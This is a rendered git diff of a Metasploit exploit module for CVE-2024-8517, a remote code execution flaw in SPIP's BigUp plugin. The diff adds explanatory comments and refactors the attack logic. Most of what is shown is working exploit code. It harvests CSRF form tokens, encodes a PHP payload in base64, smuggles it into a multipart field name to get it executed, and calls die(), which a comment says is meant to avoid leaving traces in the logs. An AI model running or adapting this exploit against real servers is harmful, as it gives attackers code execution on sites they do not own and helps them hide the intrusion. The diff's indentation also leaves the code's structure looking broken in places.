@@ -19,7 +19,7 @@ def initialize(info = {})
19
19
'Description' => %q{
20
20
This module exploits a Remote Code Execution vulnerability in the BigUp plugin of SPIP.
21
21
The vulnerability lies in the `lister_fichiers_par_champs` function, which is triggered
22
- when the `bigup_retrouver_fichiers` parameter is set to `1` . By exploiting the improper
22
+ when the `bigup_retrouver_fichiers` parameter is set to any value . By exploiting the improper
23
23
handling of multipart form data in file uploads, an attacker can inject and execute
24
24
arbitrary PHP code on the target server.
25
25
@@ -29,17 +29,18 @@ def initialize(info = {})
29
29
4.3.2, 4.2.16, and 4.1.18.
30
30
} ,
31
31
'Author' => [
32
- 'Vozec' , # Vulnerability Discoverer
33
- 'Laluka' , # Vulnerability Discoverer
34
- 'Julien Voisin' , # Code Review
32
+ 'Vozec' , # Vulnerability Discovery
33
+ 'Laluka' , # Vulnerability Discovery
34
+ 'Julien Voisin' , # Code Review
35
35
'Valentin Lobstein' # Metasploit Module
36
36
] ,
37
37
'License' => MSF_LICENSE ,
38
38
'References' => [
39
+ [ 'CVE' , '2024-8517' ] ,
39
40
[ 'URL' , 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-2-SPIP-4-2-16-SPIP-4-1-18.html' ]
40
41
] ,
41
42
'Platform' => %w[ php unix linux win ] ,
42
- 'Arch' => [ ARCH_PHP , ARCH_CMD ] ,
43
+ 'Arch' => %w [ARCH_PHP ARCH_CMD ] ,
43
44
'Targets' => [
44
45
[
45
46
'PHP In-Memory' , {
@@ -103,19 +104,22 @@ def check
103
104
104
105
unless plugin_version
105
106
print_warning ( 'Could not determine the version of the bigup plugin.' )
106
- return Exploit :: CheckCode ::Appears ( "The detected SPIP version (#{ rversion } ) is vulnerable." )
107
+ return CheckCode ::Appears ( "The detected SPIP version (#{ rversion } ) is vulnerable." )
107
108
end
108
109
109
- return Exploit :: CheckCode ::Appears ( "The detected SPIP version (#{ rversion } ) and bigup version (#{ plugin_version } ) are vulnerable." ) if plugin_version < Rex ::Version . new ( '3.1.6' )
110
+ return CheckCode ::Appears ( "The detected SPIP version (#{ rversion } ) and bigup version (#{ plugin_version } ) are vulnerable." ) if plugin_version < Rex ::Version . new ( '3.1.6' )
110
111
111
112
CheckCode ::Safe ( "The detected SPIP version (#{ rversion } ) is not vulnerable." )
112
113
end
113
114
115
+ # This function tests several pages to find a form with a valid CSRF token and its corresponding action.
116
+ # It allows the user to specify a URL via the FORM_PAGE option (e.g., spip.php?article1).
117
+ # We need to check multiple pages because the configuration of SPIP can vary.
114
118
def get_form_data
115
119
pages = [ ]
116
120
117
121
form_page = datastore [ 'FORM_PAGE' ]
118
- pages << form_page if form_page && form_page . downcase != 'auto'
122
+ pages << form_page if form_page & .downcase != 'auto'
119
123
120
124
pages . concat ( %w[ login spip_pass contact ] ) if pages . empty?
121
125
@@ -132,48 +136,61 @@ def get_form_data
132
136
next unless action && args
133
137
134
138
print_status ( "Found formulaire_action: #{ action } " )
135
- print_status ( "Found formulaire_action_args: #{ args } " )
139
+ print_status ( "Found formulaire_action_args: #{ args [ 0 .. 20 ] } ... " )
136
140
return { action : action , args : args }
137
141
end
138
142
139
143
nil
140
144
end
145
+ end
141
146
142
- def php_exec_cmd ( encoded_payload )
143
- vars = Rex ::RandomIdentifier ::Generator . new
144
- dis = "$#{ vars [ :dis ] } "
145
- encoded_clean_payload = Rex ::Text . encode_base64 ( encoded_payload )
146
- <<-END_OF_PHP_CODE
147
+ # This function generates PHP code to execute a given payload on the target.
148
+ # We use Rex::RandomIdentifier::Generator to create a random variable name to avoid conflicts.
149
+ # The payload is encoded in base64 to prevent issues with special characters.
150
+ # The generated PHP code includes the necessary preamble and system block to execute the payload.
151
+ # This approach allows us to test multiple functions and not limit ourselves to potentially dangerous functions like 'system' which might be disabled.
152
+ def php_exec_cmd ( encoded_payload )
153
+ vars = Rex ::RandomIdentifier ::Generator . new
154
+ dis = "$#{ vars [ :dis ] } "
155
+ encoded_clean_payload = Rex ::Text . encode_base64 ( encoded_payload )
156
+ <<-END_OF_PHP_CODE
147
157
#{ php_preamble ( disabled_varname : dis ) }
148
158
$c = base64_decode("#{ encoded_clean_payload } ");
149
159
#{ php_system_block ( cmd_varname : '$c' , disabled_varname : dis ) }
150
- END_OF_PHP_CODE
160
+ END_OF_PHP_CODE
161
+ end
162
+
163
+ def exploit
164
+ form_data = get_form_data
165
+
166
+ unless form_data
167
+ fail_with ( Failure ::NotFound , 'Could not retrieve formulaire_action or formulaire_action_args value from any page.' )
151
168
end
152
169
153
- def exploit
154
- form_data = get_form_data
170
+ print_status ( 'Preparing to send exploit payload to the target...' )
155
171
156
- unless form_data
157
- fail_with ( Failure ::NotFound , 'Could not retrieve formulaire_action or formulaire_action_args value from any page.' )
158
- end
172
+ phped_payload = target [ 'Arch' ] == ARCH_PHP ? payload . encoded : php_exec_cmd ( payload . encoded )
173
+ b64_payload = framework . encoders . create ( 'php/base64' ) . encode ( phped_payload ) . gsub ( ';' , '' )
159
174
160
- print_status ( 'Preparing to send exploit payload to the target...' )
175
+ post_data = Rex :: MIME :: Message . new
161
176
162
- phped_payload = target [ 'Arch' ] == ARCH_PHP ? payload . encoded : php_exec_cmd ( payload . encoded )
163
- b64_payload = framework . encoders . create ( 'php/base64' ) . encode ( phped_payload ) . gsub ( ';' , ' ')
177
+ # This line is necessary for the form to be valid, works in tandem with formulaire_action_args
178
+ post_data . add_part ( form_data [ :action ] , nil , nil , 'form-data; name="formulaire_action" ')
164
179
165
- post_data = Rex ::MIME ::Message . new
180
+ # This value is necessary for $_FILES to be used and for the bigup plugin to be "activated" for this request, thus triggering the vulnerability
181
+ post_data . add_part ( Rex ::Text . rand_text_alphanumeric ( 4 , 8 ) , nil , nil , 'form-data; name="bigup_retrouver_fichiers"' )
166
182
167
- post_data . add_part ( form_data [ :action ] , nil , nil , 'form-data; name="formulaire_action"' )
168
- post_data . add_part ( '1' , nil , nil , 'form-data; name="bigup_retrouver_fichiers"' )
169
- post_data . add_part ( '' , nil , nil , "form-data; name=\" #{ Rex ::Text . rand_text_alphanumeric ( 4 , 8 ) } ['.#{ b64_payload } .die().']\" ; filename=\" #{ Rex ::Text . rand_text_alphanumeric ( 4 , 8 ) } \" " )
170
- post_data . add_part ( form_data [ :args ] , nil , nil , 'form-data; name="formulaire_action_args"' )
183
+ # Injection is performed here. The die() function is used to avoid leaving traces in the logs,
184
+ # prevent errors, and stop the execution of PHP after the injection.
185
+ post_data . add_part ( '' , nil , nil , "form-data; name=\" #{ Rex ::Text . rand_text_alphanumeric ( 4 , 8 ) } ['.#{ b64_payload } .die().']\" ; filename=\" #{ Rex ::Text . rand_text_alphanumeric ( 4 , 8 ) } \" " )
171
186
172
- send_request_cgi ( {
173
- 'method' => 'POST' ,
174
- 'uri' => normalize_uri ( target_uri . path , 'spip.php' ) ,
175
- 'ctype' => "multipart/form-data; boundary=#{ post_data . bound } " ,
176
- 'data' => post_data . to_s
177
- } , 1 )
178
- end
187
+ # This is necessary for the form to be accepted
188
+ post_data . add_part ( form_data [ :args ] , nil , nil , 'form-data; name="formulaire_action_args"' )
189
+
190
+ send_request_cgi ( {
191
+ 'method' => 'POST' ,
192
+ 'uri' => normalize_uri ( target_uri . path , 'spip.php' ) ,
193
+ 'ctype' => "multipart/form-data; boundary=#{ post_data . bound } " ,
194
+ 'data' => post_data . to_s
195
+ } , 1 )
179
196
end
0 commit comments